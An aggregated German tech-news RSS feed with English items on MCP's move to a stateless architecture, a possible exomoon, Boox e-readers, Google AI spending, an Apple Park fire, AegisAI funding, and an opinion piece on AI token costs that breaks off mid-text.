<content:encoded><![CDATA[<p><img width="700" height="393" src="https://www.thewindowsclub.com/wp-content/uploads/2026/07/Connect-Scout-to-Your-Microsoft-365-Apps.png" class="attachment-full size-full wp-post-image" alt="Automating Microsoft 365: Using WorkIQ with Microsoft Scout" decoding="async" fetchpriority="high" srcset="https://www.thewindowsclub.com/wp-content/uploads/2026/07/Connect-Scout-to-Your-Microsoft-365-Apps.png 700w, https://www.thewindowsclub.com/wp-content/uploads/2026/07/Connect-Scout-to-Your-Microsoft-365-Apps-500x281.png 500w, https://www.thewindowsclub.com/wp-content/uploads/2026/07/Connect-Scout-to-Your-Microsoft-365-Apps-300x168.png 300w" sizes="(max-width: 700px) 100vw, 700px">Managing work across Microsoft 365 often means jumping between Teams, Outlook, SharePoint, OneDrive, and your calendar just to finish a single task. Those small interruptions quickly add up during a busy workday. Microsoft Scout WorkIQ integration helps reduce that back-and-forth by allowing Scout to pull together information from your Microsoft 365 apps and handle repetitive […]</p>
<p>This article <a href="https://www.thewindowsclub.com/automating-microsoft-365-using-workiq-with-microsoft-scout">Automating Microsoft 365: Using WorkIQ with Microsoft Scout</a> first appeared on <a href="https://www.thewindowsclub.com/">TheWindowsClub.com</a>.</p>]]></content:encoded>
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<title><![CDATA[Model Context Protocol is going stateless to make scaling simpler]]></title>
<description><![CDATA[Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.



The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless arch...]]></description>
<link>https://tsecurity.de/de/3691919/ai-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691919/ai-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</guid>
<pubDate>Fri, 24 Jul 2026 17:40:37 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Model Context Protocol (<a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.</p>



<p class="wp-block-paragraph">The latest <a href="https://modelcontextprotocol.io/specification/draft/changelog" target="_blank" rel="noreferrer noopener">release candidate</a>, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.</p>



<p class="wp-block-paragraph">“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at ZopDev.</p>



<p class="wp-block-paragraph">“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.</p>



<p class="wp-block-paragraph">Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.</p>



<p class="wp-block-paragraph">“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.</p>



<p class="wp-block-paragraph">This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to <a href="https://www.linkedin.com/in/znamit/" target="_blank" rel="noreferrer noopener">Amit Jena</a>, AI development manager at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.</p>



<p class="wp-block-paragraph">It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.</p>



<h2 class="wp-block-heading">MCP’s new features</h2>



<p class="wp-block-paragraph">Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.</p>



<p class="wp-block-paragraph">Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.</p>



<p class="wp-block-paragraph">Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.</p>



<p class="wp-block-paragraph">They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.</p>



<p class="wp-block-paragraph">MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.</p>



<h2 class="wp-block-heading">Rebuilding the trust boundary</h2>



<p class="wp-block-paragraph">The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.</p>



<p class="wp-block-paragraph">The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.</p>



<p class="wp-block-paragraph">“Sampling let MCP servers invoke the <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" target="_blank">LLM</a> through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”</p>



<p class="wp-block-paragraph">The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”</p>



<h2 class="wp-block-heading">Updated MCP SDKs</h2>



<p class="wp-block-paragraph">To accompany the protocol update, there are updated <a href="https://github.com/modelcontextprotocol" target="_blank" rel="noreferrer noopener">MCP SDKs</a> for <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html" target="_blank">Python</a>, <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" target="_blank">Typescript</a>, <a href="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html">Go</a>, and <a href="https://www.infoworld.com/article/4131649/the-best-new-features-of-c-14.html">C#</a>. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.</p>



<p class="wp-block-paragraph">That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.</p>



<p class="wp-block-paragraph">Identifying and auditing those session dependencies may not be easy, Jena warned.</p>



<p class="wp-block-paragraph">“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.</p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Model Context Protocol is going stateless to make scaling simpler]]></title>
<description><![CDATA[Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.



The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless arch...]]></description>
<link>https://tsecurity.de/de/3691907/it-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691907/it-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</guid>
<pubDate>Fri, 24 Jul 2026 17:38:35 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Model Context Protocol (<a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.</p>



<p class="wp-block-paragraph">The latest <a href="https://modelcontextprotocol.io/specification/draft/changelog" target="_blank" rel="noreferrer noopener">release candidate</a>, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.</p>



<p class="wp-block-paragraph">“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at ZopDev.</p>



<p class="wp-block-paragraph">“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.</p>



<p class="wp-block-paragraph">Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.</p>



<p class="wp-block-paragraph">“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.</p>



<p class="wp-block-paragraph">This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to <a href="https://www.linkedin.com/in/znamit/" target="_blank" rel="noreferrer noopener">Amit Jena</a>, AI development manager at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.</p>



<p class="wp-block-paragraph">It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.</p>



<h2 class="wp-block-heading">MCP’s new features</h2>



<p class="wp-block-paragraph">Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.</p>



<p class="wp-block-paragraph">Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.</p>



<p class="wp-block-paragraph">Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.</p>



<p class="wp-block-paragraph">They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.</p>



<p class="wp-block-paragraph">MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.</p>



<h2 class="wp-block-heading">Rebuilding the trust boundary</h2>



<p class="wp-block-paragraph">The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.</p>



<p class="wp-block-paragraph">The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.</p>



<p class="wp-block-paragraph">“Sampling let MCP servers invoke the <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" target="_blank">LLM</a> through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”</p>



<p class="wp-block-paragraph">The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”</p>



<h2 class="wp-block-heading">Updated MCP SDKs</h2>



<p class="wp-block-paragraph">To accompany the protocol update, there are updated <a href="https://github.com/modelcontextprotocol" target="_blank" rel="noreferrer noopener">MCP SDKs</a> for <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html" target="_blank">Python</a>, <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" target="_blank">Typescript</a>, <a href="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html">Go</a>, and <a href="https://www.infoworld.com/article/4131649/the-best-new-features-of-c-14.html">C#</a>. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.</p>



<p class="wp-block-paragraph">That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.</p>



<p class="wp-block-paragraph">Identifying and auditing those session dependencies may not be easy, Jena warned.</p>



<p class="wp-block-paragraph">“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.infoworld.com/article/4201254/model-context-protocol-is-going-stateless-to-make-scaling-simpler.html">InfoWorld</a>.</em></p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Astronomers May Have Discovered First Moon Outside Our Solar System]]></title>
<description><![CDATA[Astronomers studying the star system CD-35 2722 may have found the first known moon-like object outside our solar system. The classification is unusually tricky, however, because it orbits a brown dwarf rather than a planet, making it clearly an "exosatellite" but forcing scientists to rethink wh...]]></description>
<link>https://tsecurity.de/de/3691872/it-security-nachrichten/astronomers-may-have-discovered-first-moon-outside-our-solar-system/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691872/it-security-nachrichten/astronomers-may-have-discovered-first-moon-outside-our-solar-system/</guid>
<pubDate>Fri, 24 Jul 2026 17:07:19 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Astronomers studying the star system CD-35 2722 may have found the first known moon-like object outside our solar system. The classification is unusually tricky, however, because it orbits a brown dwarf rather than a planet, making it clearly an "exosatellite" but forcing scientists to rethink where the line between planet, moon, and failed star should be drawn. Space.com reports: The star CD-35 2722 is located around 73 light-years away and has around half the mass of the sun. It is orbited by a "failed star" or brown dwarf. These stellar bodies get their unfortunate nickname because they form like other stars but fail to gather enough mass to trigger the fusion of hydrogen to helium in their cores. In terms of mass, brown dwarfs are more massive than the largest gas giant planets, but smaller than the smallest stars, usually with around 13 to 80 times the mass of Jupiter, or around 0.013 to 0.08 times the mass of the sun.
 
The newly discovered object in CD-35 2722 is certainly moon-like, but rather than orbiting a planet as the moons in the solar system do, it orbits the system's brown dwarf. "This system is somewhat hard to define using solar-system-based words like 'planet' and 'moon.' The exosatellite is clearly massive enough to be a planet, but it does not orbit a star, though it orbits an object that orbits a star," team leader Kevin Hoy of the Universidad Diego Portales and the Millennium Nucleus of Young Exoplanets and their Moons (YEMS) in Chile, said in a statement. "Being the third wheel in this system makes us want to call it a moon, even if it is nothing like the small, rocky moons we have in our system."
 
The team currently isn't able to definitively claim this object in CD-35 2722 is an exomoon, because that would require really nailing down a new definition of what a moon is. "The satellite we report is a giant gaseous body orbiting a highly massive companion, itself several times the mass of Jupiter. We have a clear delineation between the planets and the sun in the solar system, so defining things like moons is simple," team member Alice Zurlo of the Universidad Diego Portales said. "In the CD-35 2722 system, where we are blurring the lines between stars, planets, and moons, the whole thing becomes more complicated to describe." Zurlo and colleagues can, however, confidently claim this is an exosatellite, meaning it is a first-of-its-kind detection no matter what the future holds for its classification. 

The findings have been published in the journal Nature.<p></p><div class="share_submission">
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</div><p><a href="https://science.slashdot.org/story/26/07/24/0712238/astronomers-may-have-discovered-first-moon-outside-our-solar-system?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Boox is taking on Xteink with its own tiny e-reader]]></title>
<description><![CDATA[Boox's new Tile lineup will take on Xteink's popular e-readers that are small enough to stick on the back of an iPhone with MagSafe. As spotted by Good E-Reader, the first one is the Picco, which will feature a 3.97-inch front-lit, black-and-white e-paper display and expandable storage with an SD...]]></description>
<link>https://tsecurity.de/de/3691860/it-nachrichten/boox-is-taking-on-xteink-with-its-own-tiny-e-reader/</link>
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<pubDate>Fri, 24 Jul 2026 17:02:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Boox's new Tile lineup will take on Xteink's popular e-readers that are small enough to stick on the back of an iPhone with MagSafe. As spotted by Good E-Reader, the first one is the Picco, which will feature a 3.97-inch front-lit, black-and-white e-paper display and expandable storage with an SD card slot. Boox confirmed to […]]]></content:encoded>
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<title><![CDATA[Google Is Spending Even More on AI Than Investors Expected]]></title>
<description><![CDATA[Google raised its 2026 capital expenditure forecast to as much as $205 billion as AI demand drives more investment in cloud infrastructure and data centers.
The post Google Is Spending Even More on AI Than Investors Expected appeared first on TechRepublic.]]></description>
<link>https://tsecurity.de/de/3691823/it-nachrichten/google-is-spending-even-more-on-ai-than-investors-expected/</link>
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<pubDate>Fri, 24 Jul 2026 16:46:16 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google raised its 2026 capital expenditure forecast to as much as $205 billion as AI demand drives more investment in cloud infrastructure and data centers.</p>
<p>The post <a href="https://www.techrepublic.com/article/news-google-raises-ai-capex-205-billion/">Google Is Spending Even More on AI Than Investors Expected</a> appeared first on <a href="https://www.techrepublic.com/">TechRepublic</a>.</p>]]></content:encoded>
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<title><![CDATA[Dispatch records cut claims of major Apple Park fire damage down to size]]></title>
<description><![CDATA[Santa Clara County firefighters responded to an outside fire at an Apple property in Cupertino on July 23, but public evidence available and fire department reports refute major damage claims.Apple Park headquartersA public PulsePoint listing from Santa Clara County Fire shows an outside fire rep...]]></description>
<link>https://tsecurity.de/de/3691791/ios-mac-os/dispatch-records-cut-claims-of-major-apple-park-fire-damage-down-to-size/</link>
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<pubDate>Fri, 24 Jul 2026 16:29:40 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Santa Clara County firefighters responded to an outside fire at an Apple property in Cupertino on July 23, but public evidence available and fire department reports refute major damage claims.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68351-144058-Apple-Park-miniature-xl.jpg" alt="Aerial view of a huge circular futuristic office complex surrounding a landscaped green park with trees, pathways, small buildings, and a central circular courtyard" height="738"><span>Apple Park headquarters</span></div><br>A public PulsePoint listing from <a href="https://www.sccfd.org/">Santa Clara County Fire</a> shows an outside fire reported at 5:38 p.m. Pacific time on July 23 at 18922 Forge Drive. The department closed the call at 6:24 p.m., about 45 minutes later, and the listing identifies Engine 71 as the only assigned unit.<br><br>The dispatch record doesn't describe the damage, identify what burned, or say how the fire started. It also doesn't mention an Apple employee, a cigarette, injuries, evacuations, structural damage, or any disruption to <a href="https://appleinsider.com/inside/apple-park" title="Apple Park" data-kpt="1">Apple Park</a>.<br><br>A July 24 post from ShrimpApplePro claimed that an Apple employee discarded a cigarette near the campus fence, starting a fire that spread to fencing installed in 2025. ShrimpApplePro didn't identify a source, provide a damage estimate, or offer evidence connecting an employee to the fire.<br><br><br> <a href="https://appleinsider.com/articles/26/07/24/dispatch-records-cut-claims-of-major-apple-park-fire-damage-down-to-size?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245052?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA[AegisAI Raises $36M for AI Email Security]]></title>
<description><![CDATA[Email security startup AegisAI has closed a $36 million Series B funding round, with participation from Battery Ventures, Accel, and Foundation Capital. This article has been indexed from CyberMaterial Read the original article: AegisAI Raises $36M for AI Email Security
Read more →
The post Aegis...]]></description>
<link>https://tsecurity.de/de/3691704/it-security-nachrichten/aegisai-raises-36m-for-ai-email-security/</link>
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<pubDate>Fri, 24 Jul 2026 15:39:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Email security startup AegisAI has closed a $36 million Series B funding round, with participation from Battery Ventures, Accel, and Foundation Capital. This article has been indexed from CyberMaterial Read the original article: AegisAI Raises $36M for AI Email Security</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/aegisai-raises-36m-for-ai-email-security/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/aegisai-raises-36m-for-ai-email-security/">AegisAI Raises $36M for AI Email Security</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[AegisAI Raises $36 Million for AI-Powered Email Security]]></title>
<description><![CDATA[The company has raised a total of $49 million in funding, including from Battery Ventures, Accel and Foundation Capital. The post AegisAI Raises $36 Million for AI-Powered Email Security appeared first on SecurityWeek. This article has been indexed from SecurityWeek…
Read more →
The post AegisAI ...]]></description>
<link>https://tsecurity.de/de/3691579/it-security-nachrichten/aegisai-raises-36-million-for-ai-powered-email-security/</link>
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<pubDate>Fri, 24 Jul 2026 14:58:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The company has raised a total of $49 million in funding, including from Battery Ventures, Accel and Foundation Capital. The post AegisAI Raises $36 Million for AI-Powered Email Security appeared first on SecurityWeek. This article has been indexed from SecurityWeek…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/aegisai-raises-36-million-for-ai-powered-email-security/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/aegisai-raises-36-million-for-ai-powered-email-security/">AegisAI Raises $36 Million for AI-Powered Email Security</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[AegisAI Raises $36 Million for AI-Powered Email Security]]></title>
<description><![CDATA[The company has raised a total of $49 million in funding, including from Battery Ventures, Accel and Foundation Capital.
The post AegisAI Raises $36 Million for AI-Powered Email Security appeared first on SecurityWeek.]]></description>
<link>https://tsecurity.de/de/3691477/it-security-nachrichten/aegisai-raises-36-million-for-ai-powered-email-security/</link>
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<pubDate>Fri, 24 Jul 2026 14:10:33 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The company has raised a total of $49 million in funding, including from Battery Ventures, Accel and Foundation Capital.</p>
<p>The post <a href="https://www.securityweek.com/aegisai-raises-36-million-for-ai-powered-email-security/">AegisAI Raises $36 Million for AI-Powered Email Security</a> appeared first on <a href="https://www.securityweek.com/">SecurityWeek</a>.</p>]]></content:encoded>
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<title><![CDATA[GitOps vs Traditional DevOps]]></title>
<description><![CDATA[This lesson is for paying subscribers only
                                                       
                    
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<link>https://tsecurity.de/de/3691332/linux-tipps/gitops-vs-traditional-devops/</link>
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<pubDate>Fri, 24 Jul 2026 13:05:05 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<title><![CDATA[Why GitOps is Not Just CI/CD]]></title>
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<link>https://tsecurity.de/de/3691331/linux-tipps/why-gitops-is-not-just-cicd/</link>
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<pubDate>Fri, 24 Jul 2026 13:05:04 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<title><![CDATA[Why I changed how I pitch AI: It’s no longer about saving money, but managing tokens and adoption]]></title>
<description><![CDATA[I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.



The initial hype has ...]]></description>
<link>https://tsecurity.de/de/3691324/it-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/</link>
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<pubDate>Fri, 24 Jul 2026 13:04:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.</p>



<p class="wp-block-paragraph">The initial hype has faded, leaving CIOs to drive real enterprise value. Based on my experience implementing Google, OpenAI and Anthropic technologies, here are the fundamental, technology-agnostic lessons every leader must anchor their strategy around.</p>



<h2 class="wp-block-heading"><a></a>AI as a leadership multiplier</h2>



<p class="wp-block-paragraph">The most common tactical error we see is treating AI as an isolated technology project. What I have observed among our customers is that true success does not come from organizations that define a standalone “AI strategy,” but rather from those leaders that integrate AI into their business strategy.</p>



<p class="wp-block-paragraph">When our customers isolate AI and define an AI strategy, it inevitably treats it like a “technological toy” to experiment with. This approach yields fragmented, orphaned initiatives that fail to scale because they are fundamentally disconnected from their core corporate objectives. What I learned is that AI is not the ultimate destination; it is a powerful catalyst. We have replaced “What can AI do for our customers?” with a more strategic question, “How does AI accelerate their existing business goals?”</p>



<p class="wp-block-paragraph">Think of AI like electricity. No modern corporation designs a standalone “electricity strategy.” Instead, all companies route it invisibly across the entire organization to illuminate offices, power production lines and drive communication. AI must be woven into the enterprise fabric in the exact same way, acting as an underlying utility that supercharges your existing operational model.</p>



<p class="wp-block-paragraph">Integrating AI into the broader business strategy also dictates how we measure success. It forces a shift away from short-term tech vanity metrics and anchors the technology into a long-term roadmap.</p>



<p class="wp-block-paragraph">When AI remains trapped within the IT department of our customers, we notice that it is relegated to a mere “software experiment.” To become a true competitive advantage, we observed that AI requires intense cross-functional orchestration. This perspective does not diminish the merit of the technical team; their expertise is fundamental for establishing the architecture, data governance and tools your enterprise requires. However, while IT builds the foundational infrastructure, it lacks the organizational authority to decide what should be built on top of it. Only the CEO or the owner of the company can step in to ensure AI leaves the “toy project” phase and integrates into the DNA of the organization.</p>



<p class="wp-block-paragraph">The requirement for top-down, executive ownership stems from three critical realities observed in the field:</p>



<ul class="wp-block-list">
<li><strong>Silo-smashing and data collaboration:</strong> True enterprise AI is data-hungry and that data lives across disparate business lines, finance, operations, marketing and customer service. Only the CEO possesses the cross-functional authority to demand that data silos be dismantled.</li>



<li><strong>Cultural transformation and fear mitigation:</strong> AI triggers widespread anxiety over job displacement across all industries and hierarchies. When relegated to an “IT project,” resistance spikes as teams view it as a threat to their livelihoods. When I saw the CEO lead this cultural shift directly is when I noticed the best results.</li>



<li><strong>C-Suite education and strategic alignment:</strong> The mandate for AI capability cannot just be delegated downward; the transformation must begin at the very top. I have conducted more than 70 presentations for the Board of Directors and C-Level teams. These people need to be actively educated not on technical code, but on specific business use cases, return on investment (ROI) frameworks and how AI resolves core organizational bottlenecks.</li>
</ul>



<p class="wp-block-paragraph"><a href="https://www.pwc.com/gx/en/issues/c-suite-insights/ceo-survey.html">PwC’s data found that only 12% of enterprises have achieved both cost and revenue benefits from AI</a>. Those elite 12% succeeded precisely because their CEOs embedded AI extensively across <em>strategic decision-making and cross-functional workflows</em>. AI is simply too disruptive and too critical to be left exclusively in the hands of technical experts. If AI is not on the CEO’s weekly agenda, it is fundamentally missing from the company’s true strategy.</p>



<h2 class="wp-block-heading"><a></a>AI as a new operational framework</h2>



<p class="wp-block-paragraph">Traditional IT systems have operated on strict algorithmic certainty: if you input a specific set of data, the system executes an immutable line of code and guarantees the same, predictable output every single time.</p>



<p class="wp-block-paragraph">AI completely breaks this paradigm. Because modern AI is built on probabilistic models, it does not execute static formulas; instead, it predicts the most likely correct response based on mathematical probabilities. This means that AI solutions carry an inherent, small percentage of uncertainty and variability. A prompt entered today might yield a slightly different, though contextually valid, output tomorrow.</p>



<p class="wp-block-paragraph">Executive leadership and organizational cultures must be actively educated to accept and navigate this fundamental shift. Traditional quality assurance frameworks for software are designed for a 100% success rate. Applying this rigid standard to AI will paralyze your initiatives, keeping 80% of your projects trapped eternally in the pilot phase. This happened to us in a food and beverage company in Latin America a couple of years ago. After this experience, we started to include conditions in our contracts that tolerate statistical margins of error and still define the project as a success.</p>



<p class="wp-block-paragraph">In terms of cost calculation, we had to teach CIOs and business managers to forget the monthly subscription model for AI and learn to manage the primary unit of exchange in modern AI: the token.</p>



<p class="wp-block-paragraph">To understand AI costs, executives must understand how large language models process data. AI models do not read full words; instead, they break text, images or code down into “pieces” called tokens. As a baseline, every 100 words process as approximately 130 to 140 tokens. Because the major AI providers use the token as their currency, <a href="https://arxiv.org/pdf/2604.22750">your business is billed dynamically based on the exact volume of tokens consumed</a> by every query submitted (input) and every response generated (output).</p>



<p class="wp-block-paragraph">Many leaders believe AI costs are fixed due to flat-rate enterprise tiers ($25–$30/user). This is a temporary illusion. These venture-capital-subsidized rates mask true operational costs and come with dynamic usage limits. Modeling long-term ROI on them guarantees a severe budget shock when true consumption pricing takes over.</p>



<p class="wp-block-paragraph">The solution is not to halt AI adoption; doing so means losing your competitive edge. Instead, the cost per token must cease to be treated as a technical footnote relegated to the IT department. It must be elevated to a core business variable.</p>



<h2 class="wp-block-heading">Risks in the AI adoption model</h2>



<p class="wp-block-paragraph">Since the beginning of the AI boom, I have seen all our customers making a critical tactical error that could cost them heavily in the medium term: they are focusing only on operational efficiency (reducing costs with AI).</p>



